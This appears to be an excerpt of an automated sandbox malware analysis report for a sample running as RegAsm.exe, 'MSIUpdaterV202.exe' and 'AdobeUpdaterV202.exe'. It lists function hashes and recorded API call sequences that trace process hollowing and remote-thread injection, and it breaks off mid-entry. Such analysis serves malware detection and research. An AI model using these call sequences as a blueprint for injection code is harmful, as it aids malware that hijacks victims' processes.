API ID:
String ID:
API String ID:
Opcode ID: fa5c74de47e00e3fd1cbc8b8bf4f30cddb57eb3db75c3f68035aa95fc8bdd8f7
Instruction ID: 7bf09f208c8d42f402782dd01e8dcfad3d0292ea5e19e587d8160202315e0386
Opcode Fuzzy Hash: fa5c74de47e00e3fd1cbc8b8bf4f30cddb57eb3db75c3f68035aa95fc8bdd8f7
Instruction Fuzzy Hash: A8B18BB1504B018BD725CF24C4A1BA3B7F2FF85314F148A0ED8A64BB91D779B986CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00410F4D Relevance: .2, Instructions: 249COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e1d513dcbe5ddf1e5a79446440b6df517490a6ef9966cf12ce402a64110efc1
Instruction ID: b397bc2b545a3e06a06c6f9a7b35e90c89a8d5b58e071fd8aed5b45881f06650
Opcode Fuzzy Hash: 0e1d513dcbe5ddf1e5a79446440b6df517490a6ef9966cf12ce402a64110efc1
Instruction Fuzzy Hash: D1818FB0500B008FD735CF25C4947A7B7E6AF89314F14892ED1AB87791E77AB889CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00416A62 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f01b2f0baba122d09bd3c3bd9327791873bdecd719347b9779de429d282b2145
Instruction ID: d15a5ba77c2942aaed52dfcd08f948692d97a9139cdbd11b09d40d24ee078bc7
Opcode Fuzzy Hash: f01b2f0baba122d09bd3c3bd9327791873bdecd719347b9779de429d282b2145
Instruction Fuzzy Hash: 1B61BD701083528BCB14CF14C861AABB3B1FFD6318F415A1CF8A65B2D1D735D845CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00414F10 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54cb5dd5dd0fcd48ab24a72492a27802d376ea6492d2a81bec40712d4bc4f415
Instruction ID: 57d970a1a5eaa07e00c5266ac3b256e7819b63f8173c30f7784ac52c659ae5f7
Opcode Fuzzy Hash: 54cb5dd5dd0fcd48ab24a72492a27802d376ea6492d2a81bec40712d4bc4f415
Instruction Fuzzy Hash: 574117B1908304DBD320AF54D8807A7B7E8EFD5314F09466AE89947381E779D885C39A

Uniqueness

Uniqueness Score: -1.00%

Function 00415216 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d78554ab80a413b14b2419e0b7bfb4f1e016b09d74d6dc94fa787bd36b60a352
Instruction ID: 545b315d56c03b522b5d99d20036039b40e7180db63e96aaac84a40b3ebbbfbc
Opcode Fuzzy Hash: d78554ab80a413b14b2419e0b7bfb4f1e016b09d74d6dc94fa787bd36b60a352
Instruction Fuzzy Hash: C731B272610A10CFC724CF14C892AB373B1FFAA354719416AD956CB3A0E739F851CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0043822F Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 584657ef151b8187a3a4750398981d09528dca47d4deaaf1de6ca309e7dd6aca
Instruction ID: f1f54ffedb807780357bd696c1c2a9751d85aa1e3442850fd13f11c07331e65e
Opcode Fuzzy Hash: 584657ef151b8187a3a4750398981d09528dca47d4deaaf1de6ca309e7dd6aca
Instruction Fuzzy Hash: CB3115746083419BE718CF04C5A472BB7E2BBCA709F25995DE8C607791C739EC09DB8A

Uniqueness

Uniqueness Score: -1.00%

Function 00417A78 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6945d7441c4ca921465b1a41f44629304a2dc6011dd70954a208598614fb8d4
Instruction ID: 7b1c09e42af0d5f6b04bbe538d6475b2e989d68743133b3e170275eba0625d42
Opcode Fuzzy Hash: e6945d7441c4ca921465b1a41f44629304a2dc6011dd70954a208598614fb8d4
Instruction Fuzzy Hash: 39217CB4918B918FC3368F34C5A4363BBF1AB12218B041A5DC5E38BB91C374F442CB59

Uniqueness

Uniqueness Score: -1.00%

Function 004025E0 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0bfbfb61dbf5779cf225968f8c5217ee72eb12cd5ca65c21218be2dfbc2d940
Instruction ID: 07de276a0e9e5309fcf8d398c85ee914db3ade285566f83fb5552bca2ba40eb8
Opcode Fuzzy Hash: f0bfbfb61dbf5779cf225968f8c5217ee72eb12cd5ca65c21218be2dfbc2d940
Instruction Fuzzy Hash: D231D8306046009BC7149E19CA88927B7E1EF85318F184D7EE8D9A73D1D67ADD53CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00432140 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: d2de3db70371d7fa33c8edf06fd931e09d60dc9d2bbf6fa126cafacc00fd25b9
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: BB114C33A051E40EC7168D3C8A00565BFA31AD7234F1D539AF4B49B2D2D6278D8B8369

Uniqueness

Uniqueness Score: -1.00%

Function 0043799B Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e85327cca07778d5fa5c6387c8ed6258d52b71aa4bff88396f83fddc4650c8f7
Instruction ID: 7589fa0b55ddb035dc5953139a33f16b58e0856eb98253357792a4a2099d3379
Opcode Fuzzy Hash: e85327cca07778d5fa5c6387c8ed6258d52b71aa4bff88396f83fddc4650c8f7
Instruction Fuzzy Hash: 7511E2B04193418BD718DF14C0A066BBBF1EF8A344F545E0EE8E29B240D339D6069B5A

Uniqueness

Uniqueness Score: -1.00%

Function 0043A0D9 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 423d67a1aedaa4b508aa77c2bc40276057c224fc83bd2c24f4d8f53ec03e9d94
Instruction ID: 5fc0ae8dc96022c44960700c7ab2adaf62af461dc2bf8e2718f495d239de32d0
Opcode Fuzzy Hash: 423d67a1aedaa4b508aa77c2bc40276057c224fc83bd2c24f4d8f53ec03e9d94
Instruction Fuzzy Hash: 2EF06735A083019BC708CF19C09062BFBF0AF8A750F28986EA4D9D3351DB30ED558B46

Uniqueness

Uniqueness Score: -1.00%

Function 0040D2C0 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 699039870cb33442d1a4fa21481bbe1e7a2f0d085c6e2806cd73b173b10ae215
Instruction ID: b4944c70536aa93040e23a0d3de02e03ae6e0bd8259874742134aa93b1285e44
Opcode Fuzzy Hash: 699039870cb33442d1a4fa21481bbe1e7a2f0d085c6e2806cd73b173b10ae215
Instruction Fuzzy Hash: A7E0C266B057610BA718CDB548A01B7F7E55A87322F1CA4BED492E3244C13CC805425C

Uniqueness

Uniqueness Score: -1.00%

Function 0040FED9 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eae7d2772a78467c0d93536fe5619a14daad1bcc9832cc0b3c97cf4b1fb97af8
Instruction ID: 832b43b70c8be9becace1e9a524aaac1633fa4a646e66cb56c40eb57a0982910
Opcode Fuzzy Hash: eae7d2772a78467c0d93536fe5619a14daad1bcc9832cc0b3c97cf4b1fb97af8
Instruction Fuzzy Hash: CAC04C249440015A81199B15DDE5879B3796687945740743CD90BD3260DB14E409991D

Uniqueness

Uniqueness Score: -1.00%

Function 00416582 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3f1035c1401d21b34ad4db02c73ed8df596dac4499ff47489de15c59aee4e8d
Instruction ID: 8b35dc4ed4a9966cb47b13b221a0358a275917a8b9a254330dbaa609285bd0fa
Opcode Fuzzy Hash: f3f1035c1401d21b34ad4db02c73ed8df596dac4499ff47489de15c59aee4e8d
Instruction Fuzzy Hash: 72C04C3CBAD240978348CF00D990875F77AE78B212B19B12DEC5513325D534E886850C

Uniqueness

Uniqueness Score: -1.00%

Function 00439461 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80402a54a2eb80e0272eadae08c2f832bf20fb6b3d132a6f8ec30e6a10445a34
Instruction ID: b9894db37ae32ee18a48b4ed2c803f881acc9e4ff8f0547e5b61e8919c04ec24
Opcode Fuzzy Hash: 80402a54a2eb80e0272eadae08c2f832bf20fb6b3d132a6f8ec30e6a10445a34
Instruction Fuzzy Hash: DBB002B8E58305AF8704DE25D480826F7F0AB5A260F11B859A495E7221D235D840CE59

Uniqueness

Uniqueness Score: -1.00%

Function 00429E94 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32 ref: 00429E9E

Part of subcall function 004359F0: RtlAllocateHeap.NTDLL(?,00000000,00409E11), ref: 00435A87

Strings

0, xrefs: 0042A028
7, xrefs: 0042A038
,, xrefs: 0042A030

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeapString
String ID: ,$0$7
API String ID: 983180023-2155719752
Opcode ID: 3014c82a8aa4ecce16e822321478b9489deaecac6dfa0ed20a8e26eb28c689a7
Instruction ID: c908502eda0842b721617bfb232101f265745d64272503eb8c3c42083bdf6617
Opcode Fuzzy Hash: 3014c82a8aa4ecce16e822321478b9489deaecac6dfa0ed20a8e26eb28c689a7
Instruction Fuzzy Hash: 4791D471B097918FC335CE28C4907EBBBD2AB95324F594A2DD8E58B3C1D6398845CB46

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: MSIUpdaterV202.exePID: 8, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	36.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	41
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 02832579 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 028326E8
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 028326FB
Wow64GetThreadContext.KERNEL32(?,00000000), ref: 02832719
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 0283273D
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040), ref: 02832768
WriteProcessMemory.KERNELBASE(?,00000000,?,?,00000000,?), ref: 028327C0
WriteProcessMemory.KERNELBASE(?,?,?,?,00000000,?,00000028), ref: 0283280B
WriteProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 02832849
Wow64SetThreadContext.KERNEL32(?,?), ref: 02832885
ResumeThread.KERNELBASE(?), ref: 02832894

Strings

aryA, xrefs: 028325BF
Load, xrefs: 028325B7
ress, xrefs: 02832603
GetP, xrefs: 028325FB

Memory Dump Source

Source File: 00000008.00000002.1858269210.0000000002832000.00000040.00000800.00020000.00000000.sdmp, Offset: 02832000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2832000_MSIUpdaterV202.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: GetP$Load$aryA$ress
API String ID: 2687962208-977067982
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: 56d843bc6c7905d5c36ba19f2af1bc8bd3325c7605327528e9f3d0137018ec08
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: 3EB1E47660028AAFDB60CF68CC80BDA77A5FF88714F158124EA0CEB345D774FA418B94

Uniqueness

Uniqueness Score: -1.00%

Function 00C60A31 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 476
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0, xrefs: 00C60B43

Memory Dump Source

Source File: 00000008.00000002.1857875694.0000000000C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_c60000_MSIUpdaterV202.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 7e27c79b907673a37185626674c14ad4097dd906ab7f30f41bcbf928c4a12fa7
Instruction ID: 70a40bbac905294159e7098ae9cdbd12f30972bf3d928619be1bae0ee494fa61
Opcode Fuzzy Hash: 7e27c79b907673a37185626674c14ad4097dd906ab7f30f41bcbf928c4a12fa7
Instruction Fuzzy Hash: 67126C319002558FCB15CFA9C480AADFFF1AF59310F69C699E499AB266C730FD81CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00C604DF Relevance: 2.0, APIs: 1, Instructions: 494
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(03833584,?,?,?), ref: 00C60FC9

Memory Dump Source

Source File: 00000008.00000002.1857875694.0000000000C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_c60000_MSIUpdaterV202.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 05448ade7f97bf6cc7fb0cf2d73804f915c0dd8d9c4fa25917b63aa3aad6cd5b
Instruction ID: 79e8414243ae9cf4ad27645d4929934941a525ca91516b3f6aaa86ae79a225b0
Opcode Fuzzy Hash: 05448ade7f97bf6cc7fb0cf2d73804f915c0dd8d9c4fa25917b63aa3aad6cd5b
Instruction Fuzzy Hash: C9418F718097899FCB02DFA9D8906DDBFB0EF4A310F10419AD494EB2A2C3345949DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00C60500 Relevance: 1.6, APIs: 1, Instructions: 69
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateRemoteThread.KERNELBASE(-00000001,00000000,?,?,00000000,?,?), ref: 00C610B4

Memory Dump Source

Source File: 00000008.00000002.1857875694.0000000000C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_c60000_MSIUpdaterV202.jbxd

Similarity

API ID: CreateRemoteThread
String ID:
API String ID: 4286614544-0
Opcode ID: 6a008ce9f013211d044c5bed56ea590968ae33129d02e3c245f3036614baa116
Instruction ID: c6fdd7a69c074aeadf64afbd79b2e3086cf90dd3e1115400eecec1ab2c4e4cc1
Opcode Fuzzy Hash: 6a008ce9f013211d044c5bed56ea590968ae33129d02e3c245f3036614baa116
Instruction Fuzzy Hash: 8031F5B5900249DFCF10CF9AD984ADEBBF5FB48310F24802AE919A7350D375AA50CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00C61011 Relevance: 1.6, APIs: 1, Instructions: 68
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateRemoteThread.KERNELBASE(-00000001,00000000,?,?,00000000,?,?), ref: 00C610B4

Memory Dump Source

Source File: 00000008.00000002.1857875694.0000000000C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_c60000_MSIUpdaterV202.jbxd

Similarity

API ID: CreateRemoteThread
String ID:
API String ID: 4286614544-0
Opcode ID: cfd03e9a5fdba3d23e551e177479618ecf7eb1e33ac3135546d92f07ab38d5f4
Instruction ID: 176682e380120ca4eddc99aa4164a0737c7bcfa6dc9d4a38e4ff3f160c48e610
Opcode Fuzzy Hash: cfd03e9a5fdba3d23e551e177479618ecf7eb1e33ac3135546d92f07ab38d5f4
Instruction Fuzzy Hash: BB31F0B1900289DFCF10CF99D984ADEBFF0FB48310F24802AE918A7250D375AA54CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00C604F4 Relevance: 1.6, APIs: 1, Instructions: 60
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(03833584,?,?,?), ref: 00C60FC9

Memory Dump Source

Source File: 00000008.00000002.1857875694.0000000000C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_c60000_MSIUpdaterV202.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 88451fa04d48b4993b1081493d5ccbcfe7a06395aef61cbb8429c210d05e1024
Instruction ID: 18a9f90adedac21008db590f435925893db3d6543ad14617b192d7289d2da1a9
Opcode Fuzzy Hash: 88451fa04d48b4993b1081493d5ccbcfe7a06395aef61cbb8429c210d05e1024
Instruction Fuzzy Hash: 8321E2B5901219AFDB10DF9AD884BDEFBF4FB08320F10812AE918B7250D374A954CBA5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: MSIUpdaterV202.exePID: 6804, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	41.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	44
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 02732579 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 027326E8
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 027326FB
Wow64GetThreadContext.KERNEL32(?,00000000), ref: 02732719
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 0273273D
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040), ref: 02732768
WriteProcessMemory.KERNELBASE(?,00000000,?,?,00000000,?), ref: 027327C0
WriteProcessMemory.KERNELBASE(?,?,?,?,00000000,?,00000028), ref: 0273280B
WriteProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 02732849
Wow64SetThreadContext.KERNEL32(?,?), ref: 02732885
ResumeThread.KERNELBASE(?), ref: 02732894

Strings

Load, xrefs: 027325B7
GetP, xrefs: 027325FB
aryA, xrefs: 027325BF
ress, xrefs: 02732603

Memory Dump Source

Source File: 00000009.00000002.1858507920.0000000002732000.00000040.00000800.00020000.00000000.sdmp, Offset: 02732000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2732000_MSIUpdaterV202.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: GetP$Load$aryA$ress
API String ID: 2687962208-977067982
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: 1f95302cc5122a641dbd6d1090f444f218f99652d47b494e0c51d493ae95256d
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: AFB1E67664024AAFDB60CF68CC80BDA77A5FF88714F158164EA0CAB342D774FA51CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00D10A31 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 481
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(03733584,?,?,?), ref: 00D10FC9

Strings

0, xrefs: 00D10B43

Memory Dump Source

Source File: 00000009.00000002.1858221420.0000000000D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d10000_MSIUpdaterV202.jbxd

Similarity

API ID: ProtectVirtual
String ID: 0
API String ID: 544645111-4108050209
Opcode ID: 2b778dd7d469767f9f81f11ec4f92e2823b606d6257128581114c83bae9b338c
Instruction ID: fb6554ac0add770a89cd93180cf8ce25742106bb9c36b6d29a9d75f15210da3b
Opcode Fuzzy Hash: 2b778dd7d469767f9f81f11ec4f92e2823b606d6257128581114c83bae9b338c
Instruction Fuzzy Hash: 17127A319002559FCB05DFA9C480AEDFFF2AF59310F598595E498AB262CB70EDC1CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00D10500 Relevance: 1.6, APIs: 1, Instructions: 69
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateRemoteThread.KERNELBASE(-00000001,00000000,?,?,00000000,?,?), ref: 00D110B4

Memory Dump Source

Source File: 00000009.00000002.1858221420.0000000000D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d10000_MSIUpdaterV202.jbxd

Similarity

API ID: CreateRemoteThread
String ID:
API String ID: 4286614544-0
Opcode ID: 788fd4cd3ca4f64ffec6eda90f32cf5ddf7cb4d127c233ef3c9aba02266a37bb
Instruction ID: 1947a97224a38688d2281e00046561d5f5d8084826b6389710efabe7da74d827
Opcode Fuzzy Hash: 788fd4cd3ca4f64ffec6eda90f32cf5ddf7cb4d127c233ef3c9aba02266a37bb
Instruction Fuzzy Hash: D23104B5D00249EFCB10CF9AD984ADEBBF5FB48310F208029E918A7350D775A994CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00D11011 Relevance: 1.6, APIs: 1, Instructions: 67
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateRemoteThread.KERNELBASE(-00000001,00000000,?,?,00000000,?,?), ref: 00D110B4

Memory Dump Source

Source File: 00000009.00000002.1858221420.0000000000D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d10000_MSIUpdaterV202.jbxd

Similarity

API ID: CreateRemoteThread
String ID:
API String ID: 4286614544-0
Opcode ID: 202800d389b836c58898f4ade429c3a6bd252c7d012b2bcdf8171048868d1797
Instruction ID: cfb22f49291a8afb2bc81f5f32c51cd5821d989905d20de96efd53733877057b
Opcode Fuzzy Hash: 202800d389b836c58898f4ade429c3a6bd252c7d012b2bcdf8171048868d1797
Instruction Fuzzy Hash: 0031F2B5900289EFCB10CF99D984ADEBBF1BB48314F208029E959A7250D375A990CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00D104F4 Relevance: 1.6, APIs: 1, Instructions: 60
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(03733584,?,?,?), ref: 00D10FC9

Memory Dump Source

Source File: 00000009.00000002.1858221420.0000000000D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d10000_MSIUpdaterV202.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: a4340eb0180d2935c31212a15fd75bb887d3e09315252665fbd53e644dc35c0d
Instruction ID: 0e2ccc8b9e5c8d95d59ce72a5384da2b361836f4afe90d595ca1de65bad94ddd
Opcode Fuzzy Hash: a4340eb0180d2935c31212a15fd75bb887d3e09315252665fbd53e644dc35c0d
Instruction Fuzzy Hash: 4E21E7B5901219AFCB10DF9AD885BDEFBB4FF08310F10812AE558A7250D7B4A994CBA5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: AdobeUpdaterV202.exePID: 2708, Parent PID: 2580COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 02C62609 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 02C62778
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02C6278B
Wow64GetThreadContext.KERNEL32(?,00000000), ref: 02C627A9
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 02C627CD
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040), ref: 02C627F8
WriteProcessMemory.KERNELBASE(?,00000000,?,?,00000000,?), ref: 02C62850
WriteProcessMemory.KERNELBASE(?,?,?,?,00000000,?,00000028), ref: 02C6289B
WriteProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 02C628D9
Wow64SetThreadContext.KERNEL32(?,?), ref: 02C62915
ResumeThread.KERNELBASE(?), ref: 02C62924

Strings

GetP, xrefs: 02C6268B
Load, xrefs: 02C62647
aryA, xrefs: 02C6264F
ress, xrefs: 02C62693

Memory Dump Source

Source File: 0000000E.00000002.1974437145.0000000002C62000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C62000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2c62000_AdobeUpdaterV202.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: GetP$Load$aryA$ress
API String ID: 2687962208-977067982
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: ad82d3f38fd65e8f82cc31928f2a42cb0663f21147878687094c6c87762fa4e6
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: A2B1E57664028AAFDB60CF68CC80BDA77A5FF88714F158164EA0CAB341D774FA518B94

Uniqueness

Uniqueness Score: -1.00%

Function 02A60A31 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 473
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0, xrefs: 02A60B43

Memory Dump Source

